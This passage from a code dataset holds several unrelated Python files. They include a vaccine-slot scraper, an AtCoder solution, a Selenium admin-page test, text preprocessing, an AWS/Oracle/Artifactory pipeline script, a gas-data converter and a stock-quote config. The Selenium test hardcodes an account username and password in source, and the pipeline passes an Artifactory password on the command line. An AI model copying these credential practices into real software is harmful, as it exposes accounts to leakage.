webdriver.Chrome(self.PATH)\n self.driver.get(r\"https://notkarnandrivein.se/\")\n time.sleep(1)\n tider_id = self.driver.find_element_by_id(\"tider\")\n info = self.read_info()\n slots_available = info['drivein']['slots_available']\n \n scraped_free_slots = tider_id.text != \"INGA LEDIGA TIDER ATT BOKA JUST NU\"\n if scraped_free_slots and slots_available == False:\n # New slots have been released\n found_new_slots = True\n else:\n found_new_slots = False\n self.driver.quit()\n return found_new_slots, scraped_free_slots\n\n def check_vgregion(self):\n self.driver = webdriver.Chrome(self.PATH)\n self.driver.get(r\"https://www.vgregion.se/ov/vaccinationstider/bokningsbara-tider/\")\n time.sleep(1)\n table = self.driver.find_element_by_class_name(\"list-component\")\n records = table.find_element_by_class_name(\"block__row\")\n\n h3 = records.find_elements_by_tag_name(\"h3\")\n a = records.find_elements_by_tag_name(\"a\")\n\n info = self.read_info()\n slots = info['vgregion']['slots']\n slots_scraped = {k.text: v.get_attribute(\"href\") for k, v in zip(h3, a)}\n new_slots = {}\n for place, link in slots_scraped.items():\n if place not in slots.keys():\n new_slots.update({place: link})\n\n self.driver.quit()\n return new_slots, slots_scraped\n\n\n def run(self, receivers):\n\n # Check if script is allowed to run at current time\n info = self.read_info()\n now = datetime.datetime.now()\n for times in info['skip_time']:\n h1, m1, h2, m2 = times\n t1 = datetime.time(h1, m1)\n t2 = datetime.time(h2, m2)\n if t1 > now.time() and t2 < now.time():\n # In skip time\n return None\n \n # Check drive-in\n drivein_new, drivein_slots_available = self.check_drivein()\n time.sleep(1)\n\n # Check vgregion\n vgr_new, vgr_scraped = self.check_vgregion()\n\n info['drivein']['slots_available'] = drivein_slots_available\n info['vgregion']['slots'] = vgr_scraped\n info['last_check'] = now.strftime(\"%Y-%m-%d %H:%M\")\n with open('info.json', \"w\") as f:\n json.dump(info, f, indent=4)\n\n message = u\"Subject: New vaccine slots available\\n\\n\"\n send = False\n if drivein_new:\n send = True\n message += u\"New drivein slots available in Slottsskogen\\n\"\n message += u\"https://notkarnandrivein.se/\\n\\n\\n\"\n if vgr_new:\n send = True\n for k, v in vgr_scraped.items():\n message += u\"{}\\n\".format(k)\n message += u\"{}\\n\\n\".format(v)\n \n message += u\"Mvh\\nAutoFrallan\"\n\n print(message)\n\n if send:\n self.send_mail(receivers, message)\n return message\n\nbook = Booking()\nreceivers = ['autofrallan@gmail.com']\nmsg = book.run(receivers)","repo_name":"Frallmeister/vaccine-booking","sub_path":"mail_booking.py","file_name":"mail_booking.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"33602105674","text":"# import pypyjit\n# pypyjit.set_param('max_unroll_recursion=-1')\nimport sys\nsys.setrecursionlimit(10**6)\ninput = sys.stdin.readline\n\nv, a, b, c = list(map(int, input().split()))\n\nfor i in range(10**6):\n if v-a >= 0:\n v -= a\n else:\n print(\"F\")\n exit()\n\n if v-b >= 0:\n v -= b\n else:\n print(\"M\")\n exit()\n\n if v-c >= 0:\n v -= c\n else:\n print(\"T\")\n exit()\n","repo_name":"RyoSci/AtCoder","sub_path":"ABC/ABC243/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"41852591147","text":"import time\nimport unittest\n\nfrom BeautifulReport import BeautifulReport\n\nfrom common import read_config\nfrom common.basics import open_browser\nfrom common.logger import Log, img_path\nfrom page.page_child_login import ChildLoginPage\nfrom tmp.eg.page_account_management import AccountManagementPage\n\n\nclass TestAccountManagement(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.driver = open_browser()\n cls.log = Log()\n cls.url = read_config.url\n cls.login = ChildLoginPage(cls.driver)\n cls.accmag = AccountManagementPage(cls.driver)\n cls.img_path = img_path\n\n @classmethod\n def tearDownClass(cls):\n cls.driver.close()\n\n def save_img(self, img_name):\n self.driver.get_screenshot_as_file('{}/{}.png'.format(img_path, img_name))\n\n @BeautifulReport.add_test_img('test_account_management')\n def test_01_account_management(self):\n accmag = self.accmag\n accmag.open(self.url, t='育儿锦囊后台管理系统')\n self.log.info('输入账号密码登录...')\n self.login.input_user('sunbin')\n self.login.input_password('sunbin_2018')\n self.login.click_login_btn()\n time.sleep(2)\n accmag.click_permission_manager()\n time.sleep(1)\n accmag.click_account_management()\n self.save_img('账号管理')\n time.sleep(1)\n\n\n\n @BeautifulReport.add_test_img('test_add_account')\n def test_02_add_account(self):\n accmag = self.accmag\n accmag.click_add_account_btn()\n time.sleep(2)\n accmag.input_addacc_username()\n accmag.input_addacc_password()\n accmag.input_addacc_name()\n accmag.input_addacc_phone()\n accmag.input_addacc_remark()\n time.sleep(2)\n accmag.select_addacc_role()\n accmag.send_keys_arrow_down()\n accmag.send_keys_enter()\n time.sleep(1)\n self.save_img('新增账号')\n accmag.click_addaccount_cancel()\n time.sleep(2)\n\n @BeautifulReport.add_test_img('test_edit_account')\n def test_03_edit_account(self):\n accmag = self.accmag\n accmag.click_edit_account_btn()\n time.sleep(2)\n accmag.input_dialog_editacc_name()\n accmag.input_dialog_editacc_phone()\n accmag.input_dialog_editacc_remark()\n try:\n accmag.click_dialog_editacc_selectrole()\n except AttributeError:\n accmag.click_dialog_editacc_selectrole02()\n # time.sleep(2)\n accmag.send_keys_arrow_down()\n accmag.send_keys_enter()\n self.save_img('编辑账号')\n time.sleep(1)\n accmag.click_dialog_editacc_cancel()\n time.sleep(1)\n\n @BeautifulReport.add_test_img('is_enable_disable_btn')\n def test_04_enable_disable_account(self):\n accmag = self.accmag\n accmag.click_enable_disable_account_btn()\n time.sleep(1)\n accmag.click_isEnable_Disable_Detemine_btn()\n self.save_img('账号是否启/禁用')\n time.sleep(1)\n\n @BeautifulReport.add_test_img('jump_page')\n def test_05_jumper_page(self):\n accmag = self.accmag\n try:\n accmag.input_jumper_page()\n except AttributeError:\n accmag.input_jumper_page02()\n accmag.send_keys_enter()\n time.sleep(2)\n accmag.click_previous_page()\n time.sleep(1)\n accmag.click_spinner_select_row()\n accmag.send_keys_arrow_down()\n accmag.send_keys_enter()\n time.sleep(1)\n self.save_img('账号管理页面跳转')\n time.sleep(2)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"lixiaofeng1993/UIAutomation","sub_path":"tmp/eg/test_6account_management.py","file_name":"test_6account_management.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"41421222825","text":"# imports\nimport pandas as pd\nimport string as str\nimport time\nimport gensim\n#nltk imports\nfrom nltk.tokenize import sent_tokenize\nfrom nltk.corpus import stopwords\n#gensim imports\n\n#-----------------------------------------------------------------\n# start the clock\nstart = time.time()\n\n# reading in the data\ndata_1 = pd.read_csv('example_text.csv')\n\n# mask the example data\ndata = data_1['Student Responses']\ncodes = data_1['FinalCode']\n#-----------------------------------------------------------------\n# prepping the data for the model\n\n# function to remove stopwords\nstop_words = stopwords.words('english')\ndef remove_stopwords(sen):\n sen_new = \" \".join([i for i in sen if i not in stop_words])\n return sen_new\n\n# splitting the text into sentences\nstudent_responses = []\ndata_length = len(data)\nfor i in range(data_length):\n student_responses.append(sent_tokenize(data[i]))\n\nclean_student_responses = []\nfor i in student_responses:\n # remove punctuations and numbers\n resp = pd.Series(i).str.replace(\"[^a-zA-Z]\", \" \")\n # make alphabets lowercase\n resp = [s.lower() for s in resp]\n #remove stopwords\n resp = [remove_stopwords(r.split()) for r in resp]\n # append responses to larger list\n clean_student_responses.append(resp)\n\nclean_student_responses = pd.DataFrame(clean_student_responses)\nprint(clean_student_responses)\n#-----------------------------------------------------------------\n# end the clock\nend = time.time()\nprint('Total time:',end - start)\n#-----------------------------------------------------------------\n# Sources\n\n# https://www.analyticsvidhya.com/blog/2018/11/introduction-text-summarization-textrank-python/?utm_campaign=News&utm_medium=Community&utm_source=DataCamp.com\n# http://kavita-ganesan.com/gensim-word2vec-tutorial-starter-code/\n# https://stackoverflow.com/questions/10121926/initialise-numpy-array-of-unknown-length\n# https://kanoki.org/2019/03/07/sentence-similarity-in-python-using-doc2vec/\n","repo_name":"trev-barry/Projects","sub_path":"Text Conversion/text_conversion_system.py","file_name":"text_conversion_system.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"14545968132","text":"#!/usr/local/fmrlib/python/bin/python\nimport os\nimport sys\nimport cx_Oracle\nimport logging\nimport re\nimport json\nimport getpass\nimport shlex\nimport subprocess\nfrom typing import Optional\nimport boto3\nimport shutil\nfrom botocore.config import Config\n\ndef setup_logger_local(mname):\n level = logging.INFO\n hdlr = logging.FileHandler(mname)\n logging.captureWarnings(capture=True)\n logger = logging.getLogger()\n FORMAT = logging.Formatter(\"%(asctime)-1s : %(process)d : %(levelname)-2s : %(message)s\")\n hdlr.setFormatter(FORMAT)\n logger.addHandler(hdlr)\n logger.setLevel(level)\n return logger\n\nproxy_definitions = {\n \"http\": \"http://http.proxy.aws.fmrcloud.com:8000\",\n \"https\": \"http://http.proxy.aws.fmrcloud.com:8000\",\n}\nsftp_config = Config(proxies=proxy_definitions)\n\ndef filter_none_values(kwargs: dict) -> dict:\n \"\"\"Returns a new dictionary excluding items where value was None\"\"\"\n return {k: v for k, v in kwargs.items() if v is not None}\n\ndef assume_session(\n role_session_name: str,\n role_arn: str,\n duration_seconds: Optional[int] = None,\n region_name: Optional[str] = None,\n) -> boto3.Session:\n assume_role_kwargs = filter_none_values(\n {\n \"RoleSessionName\": role_session_name,\n \"RoleArn\": role_arn,\n \"DurationSeconds\": duration_seconds,\n }\n )\n\n credentials = boto3.client(\"sts\", config=sftp_config).assume_role(\n **assume_role_kwargs\n )[\"Credentials\"]\n\n create_session_kwargs = filter_none_values(\n {\n \"aws_access_key_id\": credentials[\"AccessKeyId\"],\n \"aws_secret_access_key\": credentials[\"SecretAccessKey\"],\n \"aws_session_token\": credentials[\"SessionToken\"],\n \"region_name\": region_name,\n }\n )\n return boto3.Session(**create_session_kwargs)\n\ndef write_object(\n local_file_path_with_file_name=None,\n bucket=None,\n remote_file_path_with_file_name=None,\n):\n try:\n session = assume_session(\n \"MyCustomSessionName\",\n DZ_IAM_ROLE_ARN_EAST_1,\n region_name=\"us-east-1\",\n )\n # Upload the file to S3\n logger.info(\"uploading file\")\n s3 = session.client(\"s3\")\n s3.upload_file(\n local_file_path_with_file_name,\n bucket,\n remote_file_path_with_file_name,\n ExtraArgs={\n \"ServerSideEncryption\": \"aws:kms\",\n \"SSEKMSKeyId\": DZ_KMS_KEY_EAST_1,\n },\n )\n except Exception as err:\n logger.error(f\"{err}\")\n raise err\n\ndef fetch_db_details():\n FMTWRP_CONNECTION_PRM=FMTWRP_GATEWAY_ORAUSERID+'/'+FMTWRP_GATEWAY_ORAPASSWD+'@'+TWO_TASK\n\n logger.info(\"DB Table Name - DZ_CONSUMER_NOTIFICATION_MAPPING\")\n\n sql_statement=\"\"\"\n SELECT AS_APP_ID_CONSUMER ||'|'||AS_CONSUMER_NM ||'|'||AS_NOTIFICATION_TYPE ||'|'||AS_RESOURCE_ARN ||'|'||AS_ROLE_ARN ||'|'||AS_OUTBOUND_PATH ||'|'||AS_REGION FROM DZ_CONSUMER_NOTIFICATION_MAPPING where as_status='20'\n \"\"\"\n\n try:\n FMTWRP_CONNECTION=cx_Oracle.connect(FMTWRP_CONNECTION_PRM)\n FMTWRP_CURSOR=FMTWRP_CONNECTION.cursor()\n FMTWRP_CURSOR.execute(sql_statement)\n db_details=FMTWRP_CURSOR.fetchall()\n if db_details:\n with open(feed_file_name, \"w+\") as feeds_file:\n for row in db_details:\n for col in row:\n feeds_file.write(str(col))\n else:\n logger.info(\"All the status are 0 so no records to update\")\n logger.info(\"Insert records into DB DZ_CONSUMER_NOTIFICATION_MAPPING table and run this api to get reflected\")\n sys.exit(0)\n FMTWRP_CURSOR.close()\n FMTWRP_CONNECTION.close()\n logger.info(\"fetched onboarding details from mapping database table\")\n except cx_Oracle.DatabaseError as db_err_msg:\n logger.info(\"Error from database is - {}\".format(db_err_msg))\n job_msg=\"select query to get consumer notification mapping table is failed\"\n logger.info(\"Error - {}\".format(job_msg))\n FMTWRP_CURSOR.close()\n FMTWRP_CONNECTION.close()\n sys.exit(1)\n\ndef download_artifactory():\n\n json_file_name,cksum_previous=fetch_chksum_details()\n logger.info(\"Downloading the consumer-notification-mapping.json from artifactory\")\n\n try:\n # pragma: allowlist secret\n subprocess.run(['/usr/bin/wget', '-P', FMTWRP_TMP_DIR, '--user='+FMTWRP_AUTH_USER, '--password='+FMTWRP_ARTIFACT_PASSWD, FMTWRP_DZ_ARTIFACTORY_URL+'/Drop_Zone/'+FMTWRP_ENV_LGFRM+\"/\"+json_file_name]) # pragma: allowlist secret\n # pragma: allowlist secret\n except Exception as err:\n logger.error(f\"{err}\")\n raise err\n return cksum_previous\n\ndef fetch_chksum_details():\n\n FMTWRP_CONNECTION_PRM=FMTWRP_GATEWAY_ORAUSERID+'/'+FMTWRP_GATEWAY_ORAPASSWD+'@'+TWO_TASK\n\n logger.info(\"DB Table Name - DZ_CONSUMER_NOTIFICATION_VERSION\")\n sql_statement=\"\"\"\n select as_cksum_current from DZ_CONSUMER_NOTIFICATION_VERSION where as_status='Y'\n \"\"\"\n\n try:\n FMTWRP_CONNECTION=cx_Oracle.connect(FMTWRP_CONNECTION_PRM)\n FMTWRP_CURSOR=FMTWRP_CONNECTION.cursor()\n FMTWRP_CURSOR.execute(sql_statement)\n cksum_current=FMTWRP_CURSOR.fetchall()\n cksum_current=str(cksum_current[0][0])\n\n json_file_name=\"consumer-notification-mapping.json_\"+FMTWRP_ENV_LGFRM+cksum_current\n FMTWRP_CURSOR.close()\n FMTWRP_CONNECTION.close()\n logger.info(\"fetched checksum details from DZ_CONSUMER_NOTIFICATION_VERSION table\")\n return json_file_name,cksum_current\n except cx_Oracle.DatabaseError as db_err_msg:\n logger.info(\"Error from database is - {}\".format(db_err_msg))\n job_msg=\"select query to get DZ_CONSUMER_NOTIFICATION_VERSION table is failed\"\n logger.info(\"Error - {}\".format(job_msg))\n FMTWRP_CURSOR.close()\n FMTWRP_CONNECTION.close()\n sys.exit(1)\n\ndef process_log_file():\n local_directory=FMTWRP_TMP_DIR\n fmtwrp_remote_file_nm=\"consumer-notification-mapping.json\"\n feed_file_with_path=os.path.join(local_directory,feed_file_name)\n logger.info(\"Reading {} feed details file\".format(feed_file_with_path))\n num_of_lines = sum(1 for l in open(json_new_file_name)) - 1\n line_count=0\n try:\n with open(feed_file_with_path,'r') as feeds_file_read:\n lines=feeds_file_read.readlines()\n for line in lines:\n feed_line=line.split('|')\n consumer_app_id=feed_line[0]\n consumer_name=feed_line[1]\n notification_type=feed_line[2]\n resource_arn=feed_line[3]\n role_arn=feed_line[4]\n region_name=feed_line[6].strip()\n outbound_path=feed_line[5]\n\n new_data='[{\"feedname\":\"'+outbound_path+'\",\"notifications\": [{\"consumer_name\":\"'+consumer_name+'\",\"notification_type\":\"'+notification_type+'\",\"resource_arn\":\"'+resource_arn+'\",\"role_arn\":\"'+role_arn+'\",\"region\":\"'+region_name+'\"}]}'\n line_count=line_count+1\n line_number=line_count+num_of_lines\n with open(json_new_file_name,'r+') as jsonfile:\n subprocess.run(['sed', '-i', '$ i' + new_data , json_new_file_name])\n subprocess.run(['sed', '-i', str(line_number)+'!s/\"}]}$/\"}]},/', json_new_file_name])\n\n command='cksum '+ json_new_file_name\n process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)\n output = process.stdout.readline()\n if output:\n op1=output.decode('utf-8')\n cksum_new=op1.split(\" \")[0].strip()\n cksum_file_name=FMTWRP_TMP_DIR+\"/\"+\"consumer-notification-mapping.json_\"+FMTWRP_ENV_LGFRM+cksum_new\n\n shutil.copy(json_new_file_name, cksum_file_name)\n subprocess.run(['curl', '-u', FMTWRP_AUTH_USER+\":\"+FMTWRP_ARTIFACT_PASSWD, '-X', 'PUT', '-T', cksum_file_name,FMTWRP_DZ_ARTIFACTORY_URL+'/Drop_Zone/'+FMTWRP_ENV_LGFRM+\"/\"+\"consumer-notification-mapping.json_\"+FMTWRP_ENV_LGFRM+cksum_new])\n logger.info(\"Uploaded the New Consumer Notification mapping Json file to artifactory\")\n write_object(\n cksum_file_name,\n fmtwrp_bucket_name,\n fmtwrp_remote_file_nm,\n )\n\n logger.info(\"Uploaded the New Consumer Notification mapping json file to S3\")\n except Exception as err:\n logger.error(f\"{err}\")\n raise err\n return(cksum_new)\n\ndef update_chksum_details():\n\n FMTWRP_CONNECTION_PRM=FMTWRP_GATEWAY_ORAUSERID+'/'+FMTWRP_GATEWAY_ORAPASSWD+'@'+TWO_TASK\n\n logger.info(\"DB Table Name - DZ_CONSUMER_NOTIFICATION_VERSION\")\n sql_update_stmt=\"UPDATE DZ_CONSUMER_NOTIFICATION_VERSION SET AS_STATUS='N' where AS_STATUS='Y' and AS_CKSUM_CURRENT=\"+cksum_previous\n sql_insert_stmt=\"INSERT INTO DZ_CONSUMER_NOTIFICATION_VERSION (AS_CKSUM_CURRENT, AS_CKSUM_PREVIOUS,AS_STATUS) values(\"+cksum_new+\",\"+cksum_previous+\",'Y')\"\n sql_update_map_stmt=\"UPDATE DZ_CONSUMER_NOTIFICATION_MAPPING SET AS_STATUS=0 where AS_STATUS=20\"\n\n try:\n FMTWRP_CONNECTION=cx_Oracle.connect(FMTWRP_CONNECTION_PRM)\n FMTWRP_CURSOR=FMTWRP_CONNECTION.cursor()\n FMTWRP_CURSOR.execute(sql_update_stmt)\n FMTWRP_CURSOR.execute(sql_insert_stmt)\n FMTWRP_CURSOR.execute(sql_update_map_stmt)\n FMTWRP_CURSOR.execute('commit')\n FMTWRP_CURSOR.close()\n FMTWRP_CONNECTION.close()\n logger.info(\"Updated table DZ_CONSUMER_NOTIFICATION_VERSION with new json file cksum value\")\n logger.info(\"Inserted new checksum and previous checksum values into DZ_CONSUMER_NOTIFICATION_VERSION with updated status as Y\")\n except cx_Oracle.DatabaseError as db_err_msg:\n logger.info(\"Error from database is - {}\".format(db_err_msg))\n job_msg=\"update and insert query to DZ_CONSUMER_NOTIFICATION_VERSION table is failed\"\n logger.info(\"Error - {}\".format(job_msg))\n FMTWRP_CURSOR.close()\n FMTWRP_CONNECTION.close()\n sys.exit(1)\n\ndef main():\n global FMTWRP_GATEWAY_ORAUSERID\n global FMTWRP_GATEWAY_ORAPASSWD\n global TWO_TASK\n global feed_file_name\n global json_file_name\n global FMTWRP_ENV_LGFRM\n global consumer_location\n global FMTWRP_AUTH_USER\n global FMTWRP_ARTIFACT_PASSWD\n global fmtwrp_bucket_name\n global FMTWRP_TMP_DIR\n global FMTWRP_DZ_ARTIFACTORY_URL\n global cksum_previous\n global json_new_file_name\n global cksum_new\n global DZ_IAM_ROLE_ARN_EAST_1\n global DZ_KMS_KEY_EAST_1\n\n fmtwrp_bucket_name=os.environ['DZ_BUCKET_NAME_EAST_1']\n FMTWRP_LOG_FILE_NM=os.environ['FMTWRP_LOG_FILE_NM']\n FMTWRP_GATEWAY_ORAUSERID=os.environ['FMTWRP_GATEWAY_ORAUSERID']\n FMTWRP_GATEWAY_ORAPASSWD=os.environ['FMTWRP_GATEWAY_ORAPASSWD']\n TWO_TASK=os.environ['TWO_TASK']\n FMTWRP_TMP_DIR=os.environ['FMTWRP_TMP_DIR']\n FMTWRP_DZ_ARTIFACTORY_URL=os.environ['FMTWRP_DZ_ARTIFACTORY_URL']\n FMTWRP_ENV_LGFRM=os.environ['FMTWRP_ENV_LGFRM']\n FMTWRP_AUTH_USER=os.environ['FMTWRP_AUTH_USER']\n FMTWRP_ARTIFACT_PASSWD=os.environ['FMTWRP_ARTIFACT_PASSWD']\n DZ_KMS_KEY_EAST_1=os.environ['DZ_KMS_KEY_EAST_1']\n DZ_IAM_ROLE_ARN_EAST_1=os.environ['DZ_IAM_ROLE_ARN_EAST_1']\n feed_file_name=FMTWRP_TMP_DIR+\"/feeds_details.txt\"\n\n global logger\n global cksum_new\n logger=setup_logger_local(FMTWRP_LOG_FILE_NM)\n\n try:\n fetch_db_details()\n cksum_previous=download_artifactory()\n json_new_file_name=FMTWRP_TMP_DIR+'/consumer-notification-mapping.json_'+FMTWRP_ENV_LGFRM+cksum_previous\n cksum_new=process_log_file()\n update_chksum_details()\n os.remove(feed_file_name)\n os.remove(json_new_file_name)\n os.remove(FMTWRP_TMP_DIR+'/consumer-notification-mapping.json_'+FMTWRP_ENV_LGFRM+cksum_new)\n\n except OSError as e: ## if failed, report it back to the user ##\n logger.info(\"Error: %s - %s.\" % (e.filename, e.strerror))\n except Exception as err:\n logger.error(f\"{err}\")\n raise err\n\n\nif __name__ == \"__main__\":\n main()\n \n\n","repo_name":"anusha-devops/python-programs","sub_path":"process-consumer-feed.py","file_name":"process-consumer-feed.py","file_ext":"py","file_size_in_byte":12257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"4240136802","text":"import csv\nimport json\nimport uuid\nimport zipfile\nimport urllib.request\n\nurl = r'https://www.jodidata.org/_resources/files/downloads/gas-data/jodi_gas_csv_beta.zip'\nextract_dir = './'\n\n# Download\nprint('Download jodi_gas_csv_beta.zip')\nzip_path, _ = urllib.request.urlretrieve(url)\nwith zipfile.ZipFile(zip_path, \"r\") as f:\n #UnZip\n print('Unziping')\n f.extractall(extract_dir)\n\n# Program\ndef csv_to_json(csvFilePath, jsonFilePath):\n print('Interpret csv data to code')\n # Open csv file\n with open(csvFilePath, encoding='utf-8') as csvf:\n # read csv file data using the csv library, delimiter by \",\"\n csvReader = csv.reader(csvf, delimiter=',')\n # Ignore first line\n next(csvReader)\n # for loop to\n outPutData = []\n for row in csvReader:\n data = {}\n points = []\n fields = {}\n \n # row 'REF_AREA'\n key1 = row[0]\n # row 'ENERGY_PRODUCT'\n key2 = row[2]\n # Generate a unique series id\n id = str(uuid.uuid4().hex)\n # combining to make sense id it is identifying\n series_id = id + \"-\" + key1 + \"-\" + key2\n # Set the id to data\n data['series_id'] = series_id\n\n # Load row TIME_PERIOD and enter the first day's date\n period = row[1] + \"-01\"\n # The TIME_PERIOD and OBS_VALUE row are appended to the points array\n points.append([period, row[5]])\n # Set the points to data\n data['points'] = points\n\n # Load additional metadata rows to field\n fields['REF_AREA'] = row[0]\n fields['ENERGY_PRODUCT'] = row[2]\n fields['FLOW_BREAKDOWN'] = row[3]\n fields['UNIT_MEASURE'] = row[4]\n fields['ASSESSMENT_CODE'] = row[6]\n # Set the field to data\n data['fields'] = fields\n # Add data to outPutData\n outPutData.append(data)\n\n # open jsonFile on writer and dumps outPutData\n print('Writing data.json')\n with open(jsonFilePath, 'w', encoding='utf-8') as jsonf:\n jsonString = json.dumps(outPutData, indent=4)\n jsonf.write(jsonString)\n print('data.json ready')\n\n\ncsvFilePath = r'./jodi_gas_beta.csv'\njsonFilePath = r'./data.json'\ncsv_to_json(csvFilePath, jsonFilePath)","repo_name":"EzequielAgustinEstevez/Prueba-tecnica-python","sub_path":"beta/Shooju Simple Task-beta.py","file_name":"Shooju Simple Task-beta.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"15665957706","text":"# fields names\nsecurity_code = 'securityCode'\nsecurity_board = 'securityBoard'\n\n# globals\nurl = 'Quotes'\npath_to_json = 'json_schemes/quotes.json'\n\n# Годовой интервал торгов\ninterval_list = [{\"max\": 290.00, \"min\": 200.00},\n {\"max\": 90000.0000, \"min\": 75000.0000}]\n\n# список полей для проверки на диапазон\nfields_list = ['ask', 'bid']\n\n# список полей для проверки на дубли\ndoubles_fields_list = ['securityCode', 'title']\n\n# Список котировок\nquotes_list = ['SBER', 'GOOG']\n\n# надбавки для цен котировок\ntqbr_increase = 20\nmct_increase = 6000\n\n# список кодов бирж доступных для партнеров\npartners_approve_exchanges = [\"TQBR\", \"MCT\", \"SPFEQ\"]\n\n\nsecurity_settings_approve_quotes = [\"T\", \"BAC\", \"AAPL\", \"MSFT\", \"EBAY\", \"TSLA\", \"CVX\", \"FB\", \"MS\", \"AMZN\", \"BA\", \"CSCO\", \"KO\",\n \"XOM\", \"FSLR\", \"SBUX\", \"NEM\", \"MCD\", \"PFE\", \"WMT\", \"PG\", \"JNJ\", \"DIS\", \"GE\", \"F\", \"AA\",\n \"MU\", \"TIF\", \"INTC\", \"IBM\", \"GILD\", \"QCOM\", \"NFLX\", \"V\", \"CME\", \"ETFC\", \"MET\", \"DAL\", \"CAT\",\n \"NRG\", \"EXC\", \"PM\", \"VZ\", \"CHK\", \"VLO\", \"CBS\", \"ABBV\", \"PYPL\", \"GOOG\", \"GAZP\", \"LKOH\",\n \"SBER\", \"ROSN\", \"MTSS\", \"RTKM\", \"AVAZ\", \"ALRS\", \"APTK\", \"AFKS\", \"AFLT\", \"VTBR\", \"BSPB\",\n \"BANE\", \"SIBN\", \"GMKN\", \"LSRG\", \"IRAO\", \"KMAZ\", \"MGNT\", \"MTLR\", \"MAGN\",\n \"MOEX\", \"MSTT\", \"MSNG\", \"MRKC\", \"NLMK\", \"NVTK\", \"OGKB\", \"PIKK\", \"PLZL\", \"PRTK\",\n \"RASP\", \"RSTI\", \"HYDR\", \"SBERP\", \"CHMF\", \"SVAV\", \"SNGSP\", \"SNGS\", \"TATN\", \"URKA\", \"PHOR\",\n \"FEES\", \"UPRO\", \"GCHE\", \"VZRZ\", \"MFON\", \"PSBR\"]\n\n\n# список кодов котировок доступный для партнера\npartners_approve_quotes = [\"T\", \"BAC\", \"AAPL\", \"MSFT\", \"EBAY\", \"TSLA\", \"CVX\", \"FB\", \"MS\", \"AMZN\", \"BA\", \"CSCO\", \"KO\",\n \"XOM\", \"FSLR\", \"SBUX\", \"NEM\", \"MCD\", \"PFE\", \"WMT\", \"PG\", \"JNJ\", \"DIS\", \"GE\", \"F\", \"AA\",\n \"MU\", \"TIF\", \"INTC\", \"IBM\", \"GILD\", \"QCOM\", \"NFLX\", \"V\", \"CME\", \"ETFC\", \"MET\", \"DAL\", \"CAT\",\n \"NRG\", \"EXC\", \"PM\", \"VZ\", \"CHK\", \"VLO\", \"CBS\", \"ABBV\", \"PYPL\", \"GOOG\", \"GAZP\", \"LKOH\",\n \"SBER\", \"ROSN\", \"MTSS\", \"RTKM\", \"AVAZ\", \"ALRS\", \"APTK\", \"AFKS\", \"AFLT\", \"VTBR\", \"BSPB\",\n \"BANE\", \"SIBN\", \"GMKN\", \"LSRG\", \"IRAO\", \"KMAZ\", \"MGNT\", \"MTLR\", \"MAGN\",\n \"MOEX\", \"MSTT\", \"MSNG\", \"MRKC\", \"NLMK\", \"NVTK\", \"OGKB\", \"PIKK\", \"PLZL\", \"PRTK\",\n \"RASP\", \"RSTI\", \"HYDR\", \"SBERP\", \"CHMF\", \"SVAV\", \"SNGSP\", \"SNGS\", \"TATN\", \"URKA\", \"PHOR\",\n \"FEES\", \"UPRO\", \"GCHE\"]\n\n# список полного названия бумаги\ntiker_title = [\"AT&T INC.\", \"Bank of America Corporation\", \"Apple Inc.\", \"Microsoft Corporation\", \"eBay Inc.\",\n \"Tesla Motors, Inc.\", \"Chevron Corporation\", \"Facebook, Inc.\", \"Morgan Stanley\", \"Amazon.com, Inc.\",\n \"THE BOEING COMPANY\", \"Cisco Systems, Inc.\", \"THE COCA-COLA COMPANY\", \"Exxon Mobil Corporation\",\n \"First Solar, Inc.\", \"Starbucks Corporation\", \"NEWMONT MINING CORPORATION\", \"Mc'DONALDS CORPORATION\",\n \"Pfizer Inc.\", \"Wal-Mart Stores, Inc.\", \"The Procter & Gamble Company\", \"Johnson & Johnson\",\n \"The Walt Disney Company\", \"General Electric Company\", \"Ford Motor Company\", \"Alcoa Inc\",\n \"Micron Technology, Inc.\", \"Tiffany & Co.\", \"Intel Corporation\",\n \"INTERNATIONAL BUSINESS MACHINES CORPORATION\", \"GILEAD SCIENCES, INC.\", \"QUALCOMM Incorporated\",\n \"Netflix, Inc.\", \"Visa Inc.\", \"CME GROUP INC.\", \"E*TRADE Financial Corporation\", \"MetLife, Inc.\",\n \"Delta Air Lines, Inc.\", \"Caterpillar Inc.\", \"NRG Energy, Inc.\", \"Exelon Corporation\",\n \"Philip Morris International Inc.\", \"Verizon Communications Inc.\", \"Chesapeake Energy Corporation\",\n \"Valero Energy Corporation\", \"CBS Corporation\", \"AbbVie Inc.\", \"PayPal Holdings, Inc.\",\n \"Alphabet Inc. Class C\", \"ГАЗПРОМ\", \"ЛУКойл НК\", \"Сбербанк\", \"Роснефть НК\", \"МТС\", \"Ростелеком\",\n \"АВТОВАЗ ао\", \"АЛРОСА ао\", \"Аптечная сеть 36,6 ао\", 'АФК \"Система\" ао', \"Аэрофлот ао\", \"Банк ВТБ ао\",\n \"Банк Санкт-Петербург\", \"Башнефть ао\", \"Газпром нефть ао\", \"ГМК НорНикель ао\", \"Группа ЛСР ао\",\n \"Группа Черкизово ао\", \"Интер РАО ао\", \"КАМАЗ ао\", \"Магнит ао\", \"Мечел ао\", \"ММК ао\",\n \"Московская Биржа ао\", \"МОСТОТРЕСТ ао\", \"МосЭнерго ао\", \"МосЭнерго ао\", \"НЛМК ао\", \"НОВАТЭК ао\",\n \"ОГК-2 ао\", \"ПИК ао\", \"Полюс ао\", \"ПРОТЕК ао\", \"Распадская ао\", \"Российские сети ао\", \"РусГидро ао\",\n \"Сбербанк ап\", \"Северсталь ао\", \"СОЛЛЕРС ао\", \"Сургутнефтегаз ап\", \"Сургутнефтегаз ао\", \"Татнефть 